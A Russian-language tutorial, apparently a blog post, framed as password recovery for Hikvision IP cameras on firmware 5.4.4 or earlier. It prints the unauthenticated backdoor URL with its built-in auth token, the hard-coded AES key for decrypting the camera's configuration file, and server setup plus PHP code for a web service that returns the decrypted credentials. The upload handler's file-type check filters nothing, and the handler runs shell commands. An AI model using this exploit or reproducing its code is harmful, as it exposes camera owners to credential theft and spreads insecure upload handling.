Hikvision backdoor IP camera

Описание работы программы

Вы можете просмотреть пароль камеры, даже не сбрасывая ее настройки

Список требований

1. Версия прошивки камеры должна быть 5.4.4 или ниже. Используйте SADP Tool, чтобы проверить
2. Ваш компьютер или ноутбук должен быть в той же локальной сети, что и камера

Чтобы проверить наличие уязвимости и версию прошивки на камере

1. Загрузите и установите программу SADP Tool на свой компьютер или ноутбук
Ссылка для скачивания

2. Перейдите на следующий IP-адрес в своем браузере
http://camera_ip/System/configurationFile?auth=YWRtaW46MTEK
Где, camera ip — IP — адрес камеры. Узнать IP можно с помощьюSADP программа

3. С помощью формы ниже отправьте файл (configurationFile), который вы скачали ранее, затем щелкните для Decrypt и Download File

Готовый вариант рабочего скрипта можно увидеть на странице https://saniaowner.space/2019/12/13/hikvision-sbros-parolya в разделе Камеры

Создание самой программы


Теперь более подробно о структуре скрипта

  1. Используем Ubuntu Server 18
  • Обновить пакеты
    sudo apt-get update
    sudo apt-get upgrade
  • Установка PHP
    sudo apt install php libapache2-mod-php php-mysql
  • Установка Apache
    sudo apt install apache2
    Перезапуск Apache для применения внесенных изменений
    sudo systemctl restart apache2
  • Включить обработку файла .htaccess
    sudo nano /etc/apache2/apache2.conf
    Измените значение параметра AllowOverride:
    AllowOverride All
    Перезапуск Apache:
    sudo systemctl restart apache2
  • Установка OpenJDK 8
    sudo apt install openjdk-8-jdk
  • Добавить пользователя www-data в группу Users
    sudo usermod -a -G users www-data
  • Изменить владельца корневого каталога сервера
    sudo chown -R user:users /var/www

2. Создать папку hik_reset в корневой директории
3. Скопировать файл XORDecode.java в папку hik_reset
4. Создаем форму с названием hik_reset.php для отправки configurationFile (файл что получили с камеры)

<form enctype="multipart/form-data" action="/hik_reset_.php" method="POST">
    <h2>Hikvision IP camera:</h2> 
    <p><input name="userfile" type="file" />
    <input type="submit" value="Decrypt" />
</form>

5. Создаем скрипт обработки

<?php
$uploaddir = 'hik_reset/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

$uploadOk = 1;
$imageFileType = strtolower(pathinfo($uploadfile,PATHINFO_EXTENSION));
$file = basename($_FILES['userfile']['name']);

// Проверить размер файла
if ($_FILES["userfile"]["size"] > 10000000) {
   echo "Sorry, your file is too large. \n";
    $uploadOk = 0;
}

// Разрешить определенные форматы файлов
if($imageFileType != "" && $imageFileType != "") {  
   $uploadOk = 0;
}
// Проверьте, имеет ли $uploadOk значение 0 по ошибке
if ($uploadOk == 0) {
    //echo "Error.";		
// если все в порядке, попробуйте загрузить файл
} else {
    if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) {
        echo 'Done';
    } else {
        echo "Error. Please try again\n";
    }

}

rename ($uploaddir . $file, "hik_reset/configurationFile");
$output1 = 'decryptedoutput';
exec("cd /var/www/html/hik_reset; openssl enc -d -in configurationFile -out ".$output1." -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5");
exec("cd /var/www/html/hik_reset; javac XORDecode.java;");
exec("cd /var/www/html/hik_reset; java XORDecode;");

$complete = md5(time()).'plaintextOutput' ; //новый файл что создается
rename("hik_reset/plaintextOutput" , $uploaddir. $complete);

unlink('hik_reset/configurationFile');
unlink($uploaddir.'decryptedoutput');
unlink($uploaddir.'XORDecode.class');

$link= $uploaddir.$complete; //кнопка скачать
	echo "<a href=$link><h2>Download file</h2></a>"; //кнопка скачать
?>

Для некоторых пунктов я сделал описание, остальные команды легко найти в интернете. К тому же скрипт можно модифицировать под свои нужны.

Наверх